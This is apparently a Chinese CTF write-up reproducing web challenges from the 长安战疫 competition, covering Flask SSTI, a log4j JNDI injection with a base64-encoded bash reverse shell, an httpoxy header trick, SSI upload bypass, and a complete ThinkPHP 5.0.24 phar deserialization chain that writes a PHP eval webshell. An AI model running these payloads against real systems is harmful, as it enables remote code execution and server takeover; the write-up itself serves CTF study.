长安战疫WEB全复现

白帽子社区

共 858字,需浏览 2分钟

 · 2022-01-22

本文来自“白帽子社区知识星球”

作者:tzzzez



白帽子社区知识星球

加入星球,共同进步
01

RCE_NO_Param


无参数rce,各种花式套路挺多的,原本WHT战队的WP中也有,不再复现。

02

flask


python的flask框架

提示先登录,查看源码

需要绕过.js?后缀

通过参数name进行SSTI注入

这里的后缀仍需要为.js?,因此无法使用tplmap工具进行反弹shell,但是tplmap可以探测出name是存在注入的。

直接进行SSTI注入,发现存在过滤,使用unicode编码进行bypass



03

Shiro?

springboot项目,shiro,log4j,fj漏洞都可以架构。

尝试shiro,关键字为rememberme,连上后好像并没有任何用。

抓包显示也不可能是fj,所以最后只剩log4j,尝试一下dns回显。

jndi被过滤,这里可以使用大小写绕过

也可以使用

${${::-j}ndi:rmi://ip:port/exp}

这里使用base64进行一个bypass之后反弹shell,在VPS上架JNDI服务器,并开启监听对应端口

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

选取springboot环境的payload进行发送

jdni服务器收到回显信息,并且反弹的端口也获取shell。



04

Flag配送中心

ttpproxy的cve(CVE-2016-5387

抓包,在header中添加proxy:http://VPS:port即可

05

tp


显示是TP5.0,利用报错显示具体TP版本信息

V5.0.24,该版本rce被修复,只能上传phar实现反序列化,网上链子一堆

namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files];
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output;
$this->append = array("xxx"=>"getError");
$this->error = $modelRelation;
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($window);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
06

upload


SSI注入

上传Bypass

上传禁止了php,htaccess和ini

使用shtml进行绕过

#ls被过滤,使用dir

#两种读取方式



如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。



▼扫码关注白帽子社区公众号&加入知识星球▼




浏览 52
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报